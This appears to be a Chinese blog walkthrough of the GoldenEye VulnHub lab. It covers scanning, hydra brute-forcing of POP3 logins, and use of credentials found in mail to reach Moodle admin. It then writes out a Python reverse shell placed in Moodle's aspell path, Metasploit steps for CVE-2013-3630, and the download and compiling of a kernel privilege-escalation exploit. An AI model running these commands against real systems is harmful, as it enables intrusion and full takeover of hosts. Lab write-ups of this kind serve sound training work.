【6 GoldenEye渗透笔记】

本文通过在VulnHub上的GoldenEye靶场进行了一次渗透测试演练,包括主机发现、端口扫描、Web服务分析、弱口令爆破、邮件系统挖掘、Web应用漏洞利用以及提权等步骤,最终获取到了靶机的root权限。
摘要由CSDN通过智能技术生成

1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova

难度:中等

镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机

目标:获取root的flag。

靶机IP:未知

本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

arp-scan -l

发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。

4.网络扫描

nmap  -A  192.168.1.116

 发现系统是linux,开放了80、25端口,80端口为HTTP服务,使用的是Apache 2.4.7,25端口为smtp。

查看web指纹

whatweb 192.168.1.116

没有发现有用的东西。

看看网站,浏览器访问:https://192.168.1.116

web页面上是一些提示

提示导航到/sev-home/目录去登录。通过浏览器访问

 不知道账号密码。

目录爆破

使用dirsearch 对 192.168.1.116和dirsearch -u 192.168.1.116/sev-home

dirsearch -u 192.168.1.116

dirsearch -u 192.168.1.116/sev-home

都没有发现有用的东西,图就不贴了。

看看网页的源码。

 还有两个文件,进一步查看,在terminal.js中发现了账号、密码。

得到账号密码:

Boris/InvincibleHack3r

还有一个账号,Natalya,不知道密码。

密码是html编码的密码

在burp中解码得到:InvincibleHack3r

使用账号密码:Boris/InvincibleHack3r登录,发现登录不成功。账号换成小写成功登录。

页面上,提示需要发送邮件给GNO管理员。pop3服务器不是运行在默认端口。

顺便查看一下源码,发现了两个GNO管理员,Natalya,Boris。

我们再扫描一次这个IP,加上参数 -p- 。

nmap -A -p- 192.168.1.116

果然又发现了两个端口,55006,运行pop3服务,55007,服务未知。

通过浏览器访问者两个端口,在55007端口发现如下。

是pop3的登录地址,不知道密码,无法登录

5.hydra 密码爆破

联想到主页源码中提示Boris更新他的默认密码,这里可能存在弱密码。

把账号Boris、boris、Natalya、natalya写入文件,\n是换行符。

echo -e 'Boris\nboris\nNatalya\nnatalya' > user.txt

使用hydra 进行密码爆破。

hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64

发现了4对账号密码。分别登录查看一下。

使用nc 连接pop3端口。

nc 192.168.1.116 55007  #登录邮箱
user boris        #登录用户
pass secret1!    #登录密码
list              #查看邮件数量
retr 1~3          #分别使用retr 1、retr2、retr3来查看邮件内容
quit              #退出,结束回话    

依次查看四个账号的内容,实际上只有两个账号,账号名大小写是一样的。

在boris邮件中发现如下内容。

在natalyn第2封邮件中发现如下内容。

获得一组用户名密码:xenia/RCP90rulez!。一个域severnaya-station.com/gnocertdir。提示要加入hosts文件中。

在/etc/hosts文件中加入一行。

192.168.1.116   severnaya-station.com

通过浏览器访问http://severnaya-station.com/gnocertdir/

然后使用邮件中的账号密码登陆。后台使用的是moodle框架。

点点点!!!

找到一个未读信息

 得到邮箱用户doak,继续去爆破doak的邮箱密码。

hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64

成功爆破出密码goat,使用账号名密码:doak/goat 登陆邮箱,查看邮箱内容。

 获得一个账号密码:dr_doak/4England!,提示使用这个账号登录系统。

找到一个用户admin

 还看到for james目录,下面有一个文件。

 文件内容如下

 目录下有一张图片。把图片下载到本地。

wget http://severnaya-station.com/dir007key/for-007.jpg

使用strings查看图片底层内容。

strings for-007.jpg

发现隐藏的信息。

eFdpbnRlcjE5OTV4IQ==

使用burp 进行base64解码得到:xWinter1995x!

使用账号密码admin/xWinter1995x! 登录。是后台管理员账号。

发现moodle版本号2.2.3。

6获取反弹shell

6.1通过命令执行获取

在siteAdministration->server->system paths下发现可以执行命令,能够反弹shell。

把system paths 中path to aspell 内容换成如下反弹shell代码并保存

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell  

在攻击机上执行如下代码,监听5678端口,等待反弹shell连接。

nc -vlp 5678

在home->tags->breaking codes and spinning my pen->edit this tag 中触发反弹shell命令执行。

注意点击√。执行√左右都能点击,并不能触发,一定要点击对地方。

 

获得反弹shell

6.2通过msf获取

我们知道了后台使用框架为moodle,版本为2.2.3

google moodel 2.2.3 漏洞,发现存在cve-2013-3630

在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell  保存

使用msf测试

msfconsole #启动msf

search moodle #查找moodle的攻击模块

search cve:cve-2013-3630       #查找指定cve攻击模块

use 0                        #使用指定模块

info #查看信息,然后设置需要的参数

set username admin #设置用户名

set password xWinter1995x! #设置密码

set rhost severnaya-station.com #设置远程主机域名

set targeturi /gnocertdir #设置目录

show payloads    #查看可用payload

set payload  cmd/unix/reverse  #设定payload 设置时,使用编号也行

set lhost 192.168.1.107 #设定监听主机ip,本机ip

set lport 1234 #设定监听端口,本机端口

run #执行

转tty

python -c 'import pty; pty.spawn("/bin/bash")'

7.提权

运行

uname -a

得知系统是64位,Linux ubuntu 3.13.0-32-generic 。

在kali中搜索ubuntu 3.13版本的提权exp

searchsploit ubuntu 3.13

 有几个提取exp,选择第一个3729.c

在靶机上看看gcc

 靶机没有gcc,在exp文件第143行把gcc改成cc

 把exp文件上传到靶机。

在攻击机运行

python -m http.server 8081

靶机运行wget下载文件

wget http://192.168.1.107:8081/37292.c

cc 37292.c -o ex   #使用cc编译。

chmod +x ex    #授予执行权限

./ex     #运行

cd  /root

ls -al

可以看到.flag.txt 文件,即是flag文件。

8.结语

最后请各位师傅斧正!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值